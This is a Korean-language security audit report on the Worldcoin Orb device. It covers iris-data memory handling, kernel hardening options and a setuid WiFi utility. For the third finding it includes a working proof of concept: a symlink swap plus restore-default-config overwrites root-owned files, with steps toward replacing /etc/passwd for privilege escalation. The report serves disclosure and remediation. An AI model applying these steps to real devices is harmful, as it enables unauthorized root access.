총합	3

4.2. 발견 사항

4.2.1. WORLDCOIN-ORB-001: 홍채 정보 활용 이후 메모리 소거 권고

ID Code	WORLDCOIN-ORB-001	Severity	Informational
Type	Cleartext Storage of Sensitive Information in Memory	Related CWE	CWE-316
Target	priv-orb-core, orb-core		
Abstract	Orb는 World ID 가입 과정에서 사용자의 홍채와 눈 사진을 사용하고 있으며, 이러한 민감 정보가 메모리 내 평문으로 장기간 저장되는 것을 방지하기 위해 주기적으로 메모리 소거 작업을 진행할 것을 권고한다.		

Description

Orb는 World ID 회원가입 과정에서 사용자의 홍채 사진을 촬영하고, 이를 활용하여 iris code를 생성한다.

아래는 홍채 사진을 촬영하고, 활용하는 과정의 코드이다.

```
//
https://github.com/worldcoin/priv-orb-core/blob/1c911a7f0e841808d50f7e2
096f1189922594fdf/src/plans/mod.rs#L1177-L1219
async fn biometric_capture(
    &self,
    orb: &mut Orb,
    orb_relay: Option<&mut OrbRelayClient>,
    debug_report: &mut debug_report::Builder,
) -> Result<Option<biometric_capture::Capture>> {
    #[cfg(feature = "allow-plan-mods")]
    if let Some(biometric_input) = self.biometric_input.as_deref() {
        return Ok(Some(
            load_biometric_input(biometric_input, orb.use_face_engine,
debug_report).await?,
        ));
    }
    if !proceed_with_biometric_capture(orb, orb_relay,
debug_report).await? {
        return Ok(None);
    }
    if !self.detect_face(orb).await? {
        return Ok(None);
    }
    tracing::info!("Starting image notary");
    orb.start_image_notary(debug_report.signup_id.clone()).await?;
    orb.set_phase("Biometric capture").await;
    let t = Instant::now();
    let mut wavelengths = vec![(DEFAULT_IR_LED_WAVELENGTH,
DEFAULT_IR_LED_DURATION)];
    wavelengths.extend_from_slice(EXTRA_IR_LED_WAVELENGTHS);
    let Config { self_serve, self_serve_biometric_capture_timeout, .. }
=
        *orb.config.lock().await;
    let plan = biometric_capture::Plan::new(
        &wavelengths,
```

```
        Some(if self_serve {
            self_serve_biometric_capture_timeout
        } else {
            BIOMETRIC_CAPTURE_TIMEOUT
        }),
        debug_report.signup_extension_config.clone(),
        &orb.config.lock().await.clone(),
    );
```

홍채 사진 활용 코드

이러한 홍채 정보는 기기 내부에서 매우 민감한 정보로 분류되며, 코드 로직 상 활용이 끝난 홍채 데이터를 평문으로 기기 내부에 저장하거나 외부로 유출하는 것은 엄격하게 금지되어 있다.

하지만 현재 홍채 데이터 처리 프로세스에서는 활용이 끝났으나 메모리에 존재하는 홍채 데이터를 스크럽하거나 소거하는 과정이 존재하지 않아, 물리 메모리나 논리 메모리에 일시적으로 접근 가능한 공격자에게 평문 홍채 데이터가 탈취될 가능성이 존재한다.

따라서, 활용이 끝난 홍채 데이터에 대해 즉각적으로 메모리 소거를 진행하는 프로세스를 추가하여야 하며, 더 나아가 iris code 생성 이후에는 사용된 메모리를 모두 소거하는 과정을 추가할 것을 권고한다.

Impact	일시적 물리/논리 메모리 접근 권한을 가진 공격자가 회원가입 프로세스 종료 이후에도 휘발되지 않은 평문 홍채 정보를 획득할 가능성이 존재한다.
Recommendation	World ID 가입 과정이 모두 종료된 이후, 사용자 정보를 저장하였던 변수에 할당된 메모리를 모두 소거하는 과정을 추가할 것을 권고한다. 하지만 현재 Orb는 memory safety를 보장하는 Rust 언어를 사용하고 있으며, 메모리 접근 관련 이슈가 발견되지 않았으므로 해당 권고를 적용하는 것은 필수적이지 않다고 판단된다. 만약 해당 권고사항을 적용할 경우, Rust의 `zeroize` 라이브러리를 통해 간편하게 구현할 수 있다. `Zeroizing<Type>` 형식으로 변수를 지정하여 민감 정보를 담고 있는 변수가 Drop 되는 시점에서 메모리를 자동으로 소거하도록 설정한다. Reference의 `aws-sdk-rust` 코드의 구현을 참고하여 구현할 것을 권고한다.
Reference	• https://docs.rs/zeroize/latest/zeroize/ • https://github.com/awslabs/aws-sdk-rust/blob/main/sdk/aws-credential-types/src/credentials_impl.rs

4.2.2. WORLDCOIN-ORB-002: 커널 빌드 옵션 하드닝 권고

ID Code	WORLDCOIN-ORB-002	Severity	Informational
Type	Protection Mechanism Failure	Related CWE	CWE-693
Target	orb-os		
Abstract	Orb에서 사용하고 있는 리눅스 커널의 configuration을 확인해본 결과, 커널 익스플로잇을 더 어렵게 만들거나 attack surface를 줄일 수 있는 옵션들이 존재하여 해당 기능들을 켜거나 끌 것을 권고한다.		

Description

현재 Orb에서는 Linux 5.10.104+ 버전을 사용중이며, NVIDIA Xavier NX SoC의 기본 커널 빌드 옵션인 `tegra_defconfig`에 몇가지 옵션을 하드닝하여 사용중에 있다.

하지만, 유사한 리눅스 커널을 사용하며 비교적 하드닝 옵션이 더 추가되어 있는 안드로이드 기기 2개(samsung galaxy s24, google pixel 9)와 기본 커널 빌드 옵션을 비교하였을 때 아래와 같은 옵션들을 추가적으로 하드닝 할 수 있음을 확인하였다.

적용 가능한 하드닝 옵션들

```
CONFIG_INIT_STACK_ALL_ZERO = y
CONFIG_RODATA_FULL_DEFAULT_ENABLED = y
CONFIG_ARM64_BTI_KERNEL  = y
CONFIG_MITIGATE_SPECTRE_BRANCH_HISTORY  = y
CONFIG_STATIC_USERMODEHELPER  = y
CONFIG_WERROR  = y
CONFIG_KASAN_HW_TAGS  = y
CONFIG_SECURITY_YAMA  = y
CONFIG_FB  = n
CONFIG_VT  = n
CONFIG_GENERIC_TRACER  = n
CONFIG_FUNCTION_TRACER  = n
CONFIG_STACK_TRACER  = n
CONFIG_PROC_VMCORE  = n
CONFIG_RSEQ  = n
CONFIG_CRASH_DUMP  = n
CONFIG_USER_NS  = n
CONFIG_EFI_CUSTOM_SSDT_OVERLAYS = n
CONFIG_TRIM_UNUSED_KSYMS  = y
CONFIG_ARM64_PTR_AUTH  = y
CONFIG_IOMMU_DEFAULT_DMA_STRICT = y
CONFIG_ARM64_EPAN = y
CONFIG_ARM64_PTR_AUTH_KERNEL = y
CONFIG_BPF_UNPRIV_DEFAULT_OFF = y
CONFIG_DEBUG_FS = n
CONFIG_FTRACE = n
```

추가적으로 적용 가능한 하드닝 옵션들

비교하여 정리된 항목들 중, 기기의 퍼포먼스 저하가 크게 발생하나 옵션의 효용성이 낮다고 판단된 옵션들은 제외하여 정리하였다. 또한, 하드웨어에서 지원하지 않아

사용하지 못하는 옵션은 빨간색으로 표기하였다. **(아래에서 적용 불가능한 하드닝 옵션에 대한 내용을 확인할 수 있다.)**

PAC, BTI, EPAN 사용 불가

CONFIG_ARM64_PTR_AUTH 및 CONFIG_ARM64_PTR_AUTH_KERNEL, CONFIG_ARM64_EPAN 플래그는 ARMv8.3 부터 제공하는 미티게이션이며, CONFIG_ARM64_BTI_KERNEL는 ARMv8.5 부터 제공한다. 그러나 현재 Orb 기기의 CPU 정보를 확인한 결과 해당 기능은 사용할 수 없는 것을 확인하였다.

```
$ cat /proc/cpuinfo | grep "Feature"
Features       : fp asimd evtstrm aes pmull sha1 sha2 crc32 atomics
fphp asimdhp cpuid asimdrdm dcpop
Features       : fp asimd evtstrm aes pmull sha1 sha2 crc32 atomics
fphp asimdhp cpuid asimdrdm dcpop
Features       : fp asimd evtstrm aes pmull sha1 sha2 crc32 atomics
fphp asimdhp cpuid asimdrdm dcpop
Features       : fp asimd evtstrm aes pmull sha1 sha2 crc32 atomics
fphp asimdhp cpuid asimdrdm dcpop
Features       : fp asimd evtstrm aes pmull sha1 sha2 crc32 atomics
fphp asimdhp cpuid asimdrdm dcpop
Features       : fp asimd evtstrm aes pmull sha1 sha2 crc32 atomics
fphp asimdhp cpuid asimdrdm dcpop
$ cat /proc/cpuinfo | grep -E -o "bti|pac" | sort | uniq
$
```

CPU 정보를 확인한 모습

MTE 사용 불가

CONFIG_KASAN_HW_TAGS는 메모리 할당 시 메타데이터로 태그를 지원하여 Use-After-Free 및 Buffer Overflow를 감지하는 미티게이션이다. 이 또한, ARMv8.5 부터 제공되는 기능이므로 사용할 수 없는 것을 확인하였다.

sysctl 옵션 적용

추가적으로, BPF 기능이 CONFIG_BPF_SYSCALL=n 로 설정되어 있어 syscall 호출을 통한 BPF 기능을 직접 활용은 불가능하지만, syscall이 아닌 다른 방식으로의 우회 호출을 통해 BPF 기능을 악용한 익스플로잇이 동작할 가능성이 존재하므로, 아래 sysctl 옵션 또한 적용할 것을 권고한다.

```
AS-IS:
root@localhost:/home/worldcoin# sysctl -a | grep
unprivileged_bpf_disabled
kernel.unprivileged_bpf_disabled = 0
root@localhost:/home/worldcoin# sysctl -a | grep bpf_jit_harden
net.core.bpf_jit_harden = 0

TO-BE:
kernel.unprivileged_bpf_disabled = 2
net.core.bpf_jit_harden = 2
```

	수정이 필요한 sysctl 옵션
Impact	느슨하게 설정되어 있는 kernel configuration이 커널 익스플로잇을 효율적으로 방어하지 못하거나, 추가적인 attack surface를 제공할 수 있다.
Recommendation	Description에 존재하는 커널 설정들과 `sysctl` 권고사항을 적용한다. 하지만, 커널 옵션 변경 이후 실질적인 퍼포먼스 테스트를 진행하지 않았으므로 해당 옵션 적용 이후 기기의 전력 소모도나 퍼포먼스를 내부적으로 테스트하는 과정을 거친 뒤, Production 빌드에 적용할 것을 권고한다.
Reference	• N/A

4.2.3. WORLDCOIN-ORB-003: WiFi configuration 파일의 권한 제한 미흡으로 인한 권한 상승 가능성

ID Code	WORLDCOIN-ORB-003	Severity	Low
Type	Improper Privilege Management	Related CWE	CWE-269
Target	priv-orb-core, orb-core		
Abstract	Orb에서 사용되는 `wpa-supplicant-interface` 프로그램 내, `restore-default-config` 기능을 악용하여 root 권한으로 임의 파일을 덮어씌우고 권한 상승 공격을 수행할 수 있다. 하지만, 실질적인 권한 상승 공격은 루트 파일시스템에 dm-verity가 적용되지 않은 Debug 모드의 기기에서만 가능하며, Production 기기에서는 dm-verity로 인해 덮어 씌울 데이터를 공격자가 임의로 조작하지 못해 RW 권한이 존재하는 파일시스템에 한정하여 root 권한으로의 파일 덮어쓰기만이 가능하다.		

Description	Orb에서는 `wpa-supplicant-interface` 프로그램을 통해 WiFi 네트워크 설정을 수행하고 있다.
	
	해당 바이너리는 setuid가 설정되어 있어 실행 시 root 권한으로 실행되게 된다.
	
	`(venv) (os-ERR) worldcoin@id-b3b7f044:~$ ls -al /usr/local/bin/wpa-supplicant-interface`
	`-rwsr-xr-x 1 root root 1508600 Jan  1  1970 /usr/local/bin/wpa-supplicant-interface`
	
	setuid가 설정된 wpa-supplicant-interface 바이너리
	
	바이너리는 WiFi 연결과 관련된 아래와 같은 기능들을 제공하고 있다.
	
	`wpa-supplicant-interface`
	`Restricted orb-core interface to wpa_supplicant`
	
	`USAGE:`
	`  wpa-supplicant-interface <SUBCOMMAND>`
	
	`OPTIONS:`
	`  -h, --help  Print help information`
	
	`SUBCOMMANDS:`
	`  check  Checks the status of WiFi network connection`
	`  help  Print this message or the help of the given subcommand(s)`
	`  join  Joins a new WiFi network`
	`  reconfigure  Forces wpa_supplicant to re-read its configuration data`
	`  restore-default-config  Overwrites the current config file with the default one`
	`  signal  Checks the current signal statistics`		

```
    ssid                        Checks the current SSID name
```

wpa-supplicant-interface 바이너리의 기능들

이 중, `restore-default-config` 기능은 default 설정 파일을 현재 사용되는 설정 파일로 덮어씌우는 기능을 가지고 있다.

```rust
//
https://github.com/worldcoin/priv-orb-core/blob/1c911a7f0e841808d50f7e2
096f1189922594fdf/wpa-supplicant-interface/src/main.rs#L58-L74
fn main() -> Result<()> {
   color_eyre::install()?;
   match Opt::parse() {
       Opt::Check => status::run(status::WPA_STATE),
       Opt::Join { auth, ssid, password } => {
           join::run(auth.as_deref(), &ssid, password.as_deref())
       }
       Opt::Reconfigure => reconfigure::run(),
       Opt::RestoreDefaultConfig => {
           std::fs::copy(DEFAULT_CONFIG_PATH, CONFIG_PATH)?; // here
           Ok(())
       }
       Opt::Ssid => status::run(status::SSID),
       Opt::Signal => signal::run(),
   }
}
```

restore-default-config 기능의 소스 코드

하지만, 3가지의 문제점으로 인해 권한 없는 사용자가 해당 기능을 악용하여 임의 파일에 임의 데이터를 root 권한으로 쓸 수 있다.

1. 덮어씌울 데이터를 가지고 있는 `wpa_supplicant.conf` 파일은 root 권한이 아닌, 일반 `worldcoin` 사용자의 권한으로 설정되어 있다. **(하지만, Production 기기에서는 dm-verity의 보호로 인해 해당 파일 내용을 수정하지 못한다)**

```
(venv) (os-ERR) worldcoin@id-b3b7f044:~$ ls -al
/etc/default/wpa_supplicant.conf
-rw-r--r-- 1 worldcoin worldcoin 216 Feb  7 06:25
/etc/default/wpa_supplicant.conf
```

2. 덮어씌워질 대상 파일인 `wpa_supplicant-wlan0.conf` 파일은 root 권한이 아닌, 일반 `worldcoin` 사용자의 권한으로 설정되어 있다.

```
(venv) (os-ERR) worldcoin@id-b3b7f044:~$ ls -al
/usr/persistent/wpa_supplicant-wlan0.conf
-rw-r--r-- 1 worldcoin worldcoin 208 Feb  6 10:13
/usr/persistent/wpa_supplicant-wlan0.conf
```

3. `RestoreDefaultConfig` 기능에는 덮어씌울 파일에 대한 심볼릭 링크 검사가 존재하지 않아, `CONFIG_PATH` 에 존재하는 파일을 심볼릭 링크로

변경하여 임의 파일을 가르키게 변경하고 다른 파일을 덮어쓰도록 유도할 수 있다.

PoC:
해당 공격을 예시로 수행하는 PoC는 아래와 같다. PoC는 `root` 권한의 파일인 `/home/worldcoin/target` 파일을 덮어씌운다.

1. 파일 권한 및 설정 확인

```
(venv) (os-ERR) worldcoin@id-b3b7f044:~$ ls -al /home/worldcoin/target
-rw-r--r-- 1 root root 0 Feb  7 08:45 /home/worldcoin/target
(venv) (os-ERR) worldcoin@id-b3b7f044:~$ ls -al
/usr/persistent/wpa_supplicant-wlan0.conf
-rw-r--r-- 1 worldcoin worldcoin 216 Feb  7 08:46
/usr/persistent/wpa_supplicant-wlan0.conf
(venv) (os-ERR) worldcoin@id-b3b7f044:~$ ls -al
/etc/default/wpa_supplicant.conf
-rw-r--r-- 1 worldcoin worldcoin 216 Feb  7 06:25
/etc/default/wpa_supplicant.conf
```

2. `/etc/default/wpa_supplicant.conf` 파일을 임의 데이터로 변경 **(하지만, Production 기기에서는 dm-verity의 보호로 인해 해당 파일 내용을 수정하지 못한다)**

```
(venv) (os-ERR) worldcoin@id-b3b7f044:~$ cat
/etc/default/wpa_supplicant.conf
ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev

network={
        ssid="hotspot"

psk=51732747dbc24a75171aa297358ad45fd49ae4aeb74f5b19e9afb167850f88dc
        priority=1
        scan_ssid=1
}
(venv) (os-ERR) worldcoin@id-b3b7f044:~$ vi
/etc/default/wpa_supplicant.conf
(venv) (os-ERR) worldcoin@id-b3b7f044:~$ cat
/etc/default/wpa_supplicant.conf
ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev

network={
        ssid="hackedhacked"

psk=51732747dbc24a75171aa297358ad45fd49ae4aeb74f5b19e9afb167850f88dc
        priority=1
        scan_ssid=1
}
```

3. 심볼릭 링크 설정 및 `restore-default-config` 실행

```
(venv) (os-ERR) worldcoin@id-b3b7f044:~$ rm
/usr/persistent/wpa_supplicant-wlan0.conf; ln -s /home/worldcoin/target
/usr/persistent/wpa_supplicant-wlan0.conf
(venv) (os-ERR) worldcoin@id-b3b7f044:~$ ls -al
/usr/persistent/wpa_supplicant-wlan0.conf
lrwxrwxrwx 1 worldcoin worldcoin 22 Feb  7 08:48
/usr/persistent/wpa_supplicant-wlan0.conf -> /home/worldcoin/target
(venv) (os-ERR) worldcoin@id-b3b7f044:~$
```

<table>
<tr><td></td><td>

```
/usr/local/bin/wpa-supplicant-interface restore-default-config
```

4. root 권한의 `/home/worldcoin/target` 파일이 덮어씌워진 것을 확인

```
(venv) (os-ERR) worldcoin@id-b3b7f044:~$ cat /home/worldcoin/target
ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev

network={
        ssid="hackedhacked"

psk=51732747dbc24a75171aa297358ad45fd49ae4aeb74f5b19e9afb167850f88dc
        priority=1
        scan_ssid=1
}
```

공격자는 해당 취약점을 사용하여 아래와 같은 순서로 권한 상승 공격을 수행할 수 있다.

1. `/etc/default/wpa_supplicant.conf` 파일을 새로운 공격자 계정을 포함하고 있는 `passwd` 파일로 수정한다.
2. `/usr/persistent/wpa_supplicant-wlan0.conf` 파일이 `/etc/passwd` 를 가리키도록 설정한다.
3. `RestoreDefaultConfig` 기능을 실행하여 권한 상승 공격을 진행할 수 있다.

</td></tr>
<tr><td>Impact</td><td>

Debug 모드의 Orb에서 일반 쉘 권한을 획득한 공격자가 해당 취약점을 사용하여 root 권한으로 Local Privilege Escalation 공격을 수행할 수 있다.
하지만, Orb 외부에서 내부 쉘 권한을 획득할 수 있는 문제점은 발견되지 않았으며, 해당 취약점의 실질적인 악용을 위해서는 추가적인 취약점 연계가 필요하다.

Production 모드의 Orb에서는 루트 파일시스템에 적용된 dm-verity의 보호로 인해 덮어씌울 데이터를 공격자가 임의로 조작하지 못하며, 실질적인 권한 상승이 어렵다.

</td></tr>
<tr><td>Recommendation</td><td>

1. `/etc/default/wpa_supplicant.conf` 파일의 소유자와 수정 가능한 유저를 root 권한으로 설정한다.
2. `/usr/persistent/wpa_supplicant-wlan0.conf` 파일의 소유자와 수정 가능한 유저를 root 권한으로 설정한다.
3. `wpa-supplicant-interface` 내, `RestoreDefaultConfig` 을 진행하는 코드에서 파일 복사 이전에 심볼릭 링크 검사를 수행하도록 수정한다.

</td></tr>
<tr><td>Reference</td><td>

- N/A

</td></tr>
</table>

5. Orb의 민감정보 처리 및 저장에 대한 최종 분석 결과

티오리는 TFH로부터 전달받은 소스코드와 실제 동작 중인 Orb 기기 및 시스템(2.2)을 대상으로 보안 진단을 수행하였다.
특히 Orb 기기 및 서비스의 전반적인 보안성과 함께 TFH 측의 Personal Identifiable Information (PII)에 대한 Security Claim 검증(3.2)을 위해 Orb에서 처리하는 이미지, 홍채 데이터 등 민감정보와 관련된 아래 위협 시나리오를 기반으로 위협 식별 및 분석이 수행되었다.

Category	Items
1. Data Security and Privacy Risks	1.1. 민감 정보 통신 과정에서 중간자가 데이터를 spoofing/sniffing 할 수 있는가?
	1.2. 기기가 처리하는 민감 정보가 로깅되어 외부 서버에 유출될 가능성이 존재하는가?
	1.3. 기기가 의도된/인증된 서버와만 통신하는가?
	1.4. 민감 정보 저장 시 올바른 암호화 알고리즘을 사용하여 안전하게 저장하는가?
	1.5. 에러 및 시스템 오류 시 데이터 및 개인정보가 안전하게 처리되는가?
	1.6. 이용자 특정이 가능한 정보(QR, 홍채 데이터 등)을 기기 내부에 저장하는가?
	1.7. 민감 정보가 기기에 지속적으로 저장되지 않도록 방지하는가?

이를 위해, 전달받은 저장소에 포함된 소스코드 및 설정 파일 분석을 통해 위협 시나리오와 관련된 구체적인 기능 및 함수에 대한 보안 취약점 및 잠재적 위협 발생 가능성을 검토하였다.
또한, Orb 기기의 디버그 인터페이스를 활용하여, 실행 중인 시스템(쉘)에 직접 접근함으로써 민감정보의 처리 및 저장이 실제로 올바르게 수행되고 있는지 면밀히 확인하였다.

각 위협 시나리오에 대한 분석 및 검증 결과, Orb 기기가 처리하는 데이터들은 인증된 서버에만 암호화 등을 거쳐 안전하게 전송되고 있으며, 실제 서비스 제공 시 평문 홍채 이미지와 같이 개인을 특정할 수 있으며, 사용자에게 수집 목적이 고지되지 않은 민감정보는 외부에 전송되지 않으며, 기기 동작 중 SSD를 포함한 내부 저장소에도 저장되지 않음을 확인하였다.
그러나, Defense-in-Depth (DiD) 관점에서 프로그램 실행 중에도 평문 홍채 및 기타 민감정보가 오랜 기간 프로세스 메모리에 남지 않도록, Rust Crate (`zeroize`)를 사용하여 메모리를 명시적으로 소거할 것을 권고 사항(WORLDCOIN-ORB-001)를 통해 전달하였다.

결과적으로 검수를 통해 TFH에서 주장하고 있는 바와 같이, Orb 기기에서는 정보주체(Orb, World ID 서비스 이용자)의 개인정보 및 기타 민감정보가 유출되지 않도록 안전하게 처리 및 관리되고 있음을 확인하였다.
또한, 다양한 소프트웨어 및 하드웨어 하드닝 기술을 추가로 적용하여 기기 무단 접근 및 익스플로잇 등 잠재적인 정보 탈취 및 기타 위협을 방지하고 있음을 확인하였다.
다만, 이는 검수를 위해 전달받은 Orb 서비스의 소스코드 및 기기에 한해 확인한 것으로, 검수 범위 이외의 컴포넌트(예: TFH가 관리하는 백엔드 서비스 및 인프라, 애플리케이션)에 대한 안전성 및 보안성 여부와는 무관함을 명시한다.

6. 결론

티오리는 Worldcoin Orb 기기에서 제공하는 주요 기능에 대해 화이트박스 소스코드 오디팅 및 실 기기에 대한 보안 진단을 수행하였다. 그 결과로, 총 3가지 카테고리와 20개의 세부 항목으로 이루어진 위협 시나리오를 검토하였으며, 총 3건의 발견 사항을 도출하였다.

TFH에서 전달받은 총 9가지의 Security Claim에 대한 분석 결과, 9가지 모두 주장에 반하는 내용은 확인되지 않았다.

발견 사항에는 Orb 기기의 보안성과 민감 정보 관리를 더 강화할 수 있는 2가지 권고사항과 장비 내부 쉘 권한을 획득한 공격자가 서비스의 취약성을 사용하여 임의 파일을 덮어씌울 수 있는 취약점을 포함하고 있다.

Orb 기기는 이용자의 개인정보 및 서비스 사용 데이터를 관리하며, 이를 활용하기 때문에 민감 정보에 대해서 적절한 암호화를 진행하고, 외부에 유출되지 않도록 안전한 서비스를 제공해야 한다. 따라서, 각 발견 사항 및 제안 사항에서 제시한 Remediation을 바탕으로 신속한 패치를 권고한다.

Theori, Inc. (“We”) is acting solely for the client and is not responsible to any other party. Deliverables are valid for and should be used solely in connection with the purpose for which they were prepared as set out in our engagement agreement. You should not refer to or use our name or advice for any other purpose. The information (where appropriate) has not been verified. No representation or warranty is given as to accuracy, completeness or correctness of information in the Deliverables, any document, or any other information made available. Deliverables are for the internal use of the client and may not be used or relied upon by any person or entity other than the client. Deliverables are confidential and are not to be provided, without our authorization (preferably written), to entities or representatives of entities (including employees) that are not the client, including affiliates or representatives of affiliates of the client.

©2025. For information, contact Theori, Inc.